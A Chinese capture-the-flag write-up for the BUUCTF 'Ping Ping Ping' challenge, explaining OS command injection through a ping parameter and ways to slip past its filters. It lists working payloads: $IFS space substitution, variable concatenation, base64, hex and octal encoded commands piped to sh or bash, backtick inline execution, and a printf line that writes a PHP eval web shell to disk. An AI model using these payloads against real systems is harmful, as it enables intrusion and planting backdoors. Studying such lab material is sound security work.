BUUCTF | [GXYCTF2019]Ping Ping Ping

知识点:

命令执行变量拼接

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

拼接绕过↓

1 #执行ls命令:
2 a=l;b=s;$a$b
3 #cat flag文件内容:
4 a=c;b=at;c=f;d=lag;$a$b ${c}${d}
5 #cat test文件内容
6 a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test

过滤bash用sh执行

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
编码绕过↓
 1 #base64
 2 echo "Y2F0IC9mbGFn"|base64 -d|bash ==>cat /flag
 3 echo Y2F0IC9mbGFn|base64 -d|sh==>cat /flag
 4 #hex
 5 echo "0x636174202f666c6167" | xxd -r -p|bash ==>cat /flag
 6 #oct/字节
 7 $(printf "154163") ==>ls
 8 $(printf "x63x61x74x20x2fx66x6cx61x67") ==>cat /flag
 9 {printf,"x63x61x74x20x2fx66x6cx61x67"}|$0 ==>cat /flag
10 #i也可以通过这种方式写马
11 内容为<?php @eval($_POST['c']);?>
12 ${printf,"7477160150160401001451661411545044137120117123124133471434713551737776"} >> 1.php

内联执行

内联执行将反引号内命令的输出作为输入执行,类似的还有$(command)

?ip=127.0.0.1;cat$IFS$9`ls`

解题思路:

打开题目命令执行的方法大抵是加上管道符或者分号,那么试试管道符

——> /?ip=127.0.0.1|ls

我们看到flag.php与index.php两个php文件。我们试着读flag.php

看到提示空格被ban(禁用)绕过空格的方法大概有以下几种:

方法1:${IFS}

payload1:

1 root@kali:~# cat flag
2 this is your flag
3 root@kali:~# cat${IFS}flag
4 this is your flag

payload2:

1 root@kali:~# cat${IFS}$1flag
2 this is your flag

payload3:

1 root@kali:~# cat$IFS$1flag //$1改成$加其他数字貌似都行
2 this is your flag

方法2:重定向符<>

payload1:

1 root@kali:~# cat<>flag
2 this is your flag

payload2:

1 root@kali:~# cat<flag
2 this is your flag

方法3:%09(需要php环境) 与 %20

payload1:

1 127.0.0.1/lixing.php?x=cat%09/root/flag

payload2:

127.0.0.1/lixing?x=cat%20/root/flag
接下来输入——> ?/ip=127.0.0.1|cat${IFS}$1flag发现{被禁用了

尝试空格用$IFS$1代替输入——> ?/ip=127.0.0.1|cat$IFS$1flag发现flag被禁用了

尝试先来试着读取一下index.php发现过滤了许多标点,空格,bash,包括flag的贪婪匹配。

那么自己印象中几种做法:

1.cat fl* 利用*匹配任意 不行

2.echo "Y2F0IGZsYWcucGhw"| base64 -d | bash 也不行

3.ca flag.php 不行

4.cat fl''ag.php 不行

解决办法:

变量拼接↓

我们看到源码中有一个$a变量可以覆盖

——> /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

结尾:
过滤bash?那就用sh。sh的大部分脚本都可以在bash下运行。

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行的做法:

?ip=127.0.0.1;cat$IFS$9`ls`

内联,就是将反引号内命令的输出作为输入执行
参考链接:

原文地址:https://www.cnblogs.com/SpouseLJ/p/13223953.html